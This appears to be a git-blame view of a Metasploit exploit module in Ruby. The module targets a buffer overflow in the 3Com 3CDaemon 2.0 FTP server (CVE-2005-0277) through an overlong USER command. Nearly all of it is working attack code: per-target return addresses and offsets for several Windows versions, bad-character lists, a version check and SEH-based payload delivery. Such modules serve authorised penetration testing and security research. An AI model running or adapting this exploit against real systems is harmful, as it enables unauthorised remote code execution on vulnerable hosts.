Files
metasploit-gs/modules/exploits/windows/ftp/3cdaemon_ftp_user.rb
T

128 lines
3.4 KiB
Ruby
Raw Normal View History

##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
2013-10-15 13:50:46 -05:00
# Current source: https://github.com/rapid7/metasploit-framework
##
2016-03-08 14:02:44 +01:00
class MetasploitModule < Msf::Exploit::Remote
2013-08-30 16:28:54 -05:00
Rank = AverageRanking
2005-11-24 02:58:58 +00:00
2013-08-30 16:28:54 -05:00
include Msf::Exploit::Remote::Ftp
include Msf::Exploit::Remote::Seh
2005-11-24 02:58:58 +00:00
2013-08-30 16:28:54 -05:00
def initialize(info = {})
super(update_info(info,
'Name' => '3Com 3CDaemon 2.0 FTP Username Overflow',
'Description' => %q{
This module exploits a vulnerability in the 3Com 3CDaemon
FTP service. This package is being distributed from the 3Com
web site and is recommended in numerous support documents.
This module uses the USER command to trigger the overflow.
},
'Author' =>
[
'hdm', # Original author
'otr' # Windows XP SP3
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2005-0277'],
[ 'OSVDB', '12810'],
[ 'OSVDB', '12811'],
2015-10-27 12:41:32 -05:00
[ 'BID', '12155']
2013-08-30 16:28:54 -05:00
],
'DefaultOptions' =>
{
'EXITFUNC' => 'seh',
'target' => 0
},
'Privileged' => false,
'Payload' =>
{
'Space' => 674,
'BadChars' => "\x00~+&=%\x3a\x22\x0a\x0d\x20\x2f\x5c\x2e\x09",
'StackAdjustment' => -3500,
'Compat' =>
{
'ConnectionType' => "-find"
}
},
'Platform' => %w{ win },
2013-08-30 16:28:54 -05:00
'Targets' =>
[
[
'Windows 2000 English', # Tested OK - hdm 11/24/2005
{
'Platform' => 'win',
'Ret' => 0x75022ac4, # ws2help.dll
'Offset' => 229,
},
],
[
'Windows XP English SP0/SP1',
{
'Platform' => 'win',
'Ret' => 0x71aa32ad, # ws2help.dll
'Offset' => 229,
},
],
[
'Windows NT 4.0 SP4/SP5/SP6',
{
'Platform' => 'win',
'Ret' => 0x77681799, # ws2help.dll
'Offset' => 229,
},
],
[
'Windows 2000 Pro SP4 French',
{
'Platform' => 'win',
'Ret' => 0x775F29D0,
'Offset' => 229,
},
],
[
'Windows XP English SP3',
{
'Platform' => 'win',
'Ret' => 0x7CBD41FB, # 7CBD41FB JMP ESP shell32.data SP3
#'Ret' => 0x775C2C1F, # 775C2C1F JMP ESP shell32.data SP1
'Offset' => 245,
},
],
],
'DisclosureDate' => 'Jan 4 2005'))
end
2005-11-24 02:58:58 +00:00
2013-08-30 16:28:54 -05:00
def check
connect
disconnect
if (banner =~ /3Com 3CDaemon FTP Server Version 2\.0/)
2014-01-21 11:07:03 -06:00
return Exploit::CheckCode::Appears
2013-08-30 16:28:54 -05:00
end
return Exploit::CheckCode::Safe
end
2005-11-24 02:58:58 +00:00
2013-08-30 16:28:54 -05:00
def exploit
connect
2013-08-30 16:28:54 -05:00
print_status("Trying target #{target.name}...")
2005-11-24 03:48:06 +00:00
2013-08-30 16:28:54 -05:00
if (target == targets[4])
buf = rand_text_english(target['Offset'], payload_badchars)
buf << [ target['Ret'] ].pack('V') * 2
buf << payload.encoded
else
buf = rand_text_english(2048, payload_badchars)
seh = generate_seh_payload(target.ret)
buf[target['Offset'], seh.length] = seh
end
2013-08-30 16:28:54 -05:00
send_cmd( ['USER', buf] , false )
2013-08-30 16:28:54 -05:00
handler
disconnect
end
2009-05-12 19:03:25 +00:00
end